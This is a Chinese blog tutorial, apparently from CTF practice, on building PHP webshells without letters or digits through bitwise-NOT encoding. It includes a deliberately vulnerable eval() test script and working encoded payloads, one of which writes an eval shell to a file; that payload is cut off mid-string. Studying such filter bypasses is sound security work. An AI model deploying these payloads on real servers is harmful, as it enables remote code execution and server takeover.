不用字母和数字构造webshell

前言最近做题的时候遇到了许多过滤了字母和数字的代码执行,参考了一些大佬的文章后,就想自己写一篇文章来总结一下不用字母和数字构造webshell的姿势。测试代码<?php$c=$_GET[1];if(preg_match('/[0-9]|[a-z]/i',$c)){ die("error");}eval($c);?>本文所总结的姿势均用此代码测试。1 位运算因为不能用字母数字,所以我们可以通过取反,或,异或等位运算利用特殊字符构造出字母数字,再利用php
摘要由CSDN通过智能技术生成

前言

最近做题的时候遇到了许多过滤了字母和数字的代码执行,参考了一些大佬的文章后,就想自己写一篇文章来总结一下不用字母和数字构造webshell的姿势。

测试代码

<?php
$c=$_GET[1];
if(preg_match('/[0-9]|[a-z]/i',$c)){
   
        die("error");
}
eval($c);
?>

本文所总结的姿势均用此代码测试。

1 位运算

因为不能用字母数字,所以我们可以通过取反,或,异或等位运算利用特殊字符构造出字母数字,再利用php动态函数名的特性来构造webshell。

不过要注意的是,在php5中assert是一个函数,但在php7中assert就变成了一个语言结构。也就是说,在php7环境下我们就不能直接构造webshell,但我们可以利用file_put_contents()等函数来写文件。

1.1 取反

这是最简单的一种方式了,将字符串取反后得到非字母数字的字符,然后用该字符和取反符号配合使用构造webshell。

1.1.1 PHP5

<?php
$a="assert";
$b=~$a;
echo urlencode($b);
echo "<br>";
$c='_POST';
$d=~$c;
echo urlencode($d);
?>

用该代码来得到取反结果,因为取反后的结果一般是特殊字符,直接复制粘贴可能会出错,所以将其url编码后再输出。
在这里插入图片描述
注意:不能将$取反,否则会出错 要将$转义,不然会出错

构造webshell如下:

$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);   //密码为_  

在这里插入图片描述

1.1.2 PHP7

因为php7不能直接用assert构造webshell,所以我们可以选择file_put_contents()来写入shell。

php7支持 ($a)() 这种动态函数名的格式,所以我们不用再声明其他变量了。

<?php
$a="file_put_contents";
$b=~$a;
echo urlencode($b);
echo "<br>";
$file='4.php';
$d=~$file;
echo urlencode($d);
echo "<br>";
$con="<?php eval(\$_POST[1]);";
$e=~$con;
echo urlencode($e);
?>

payload

(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值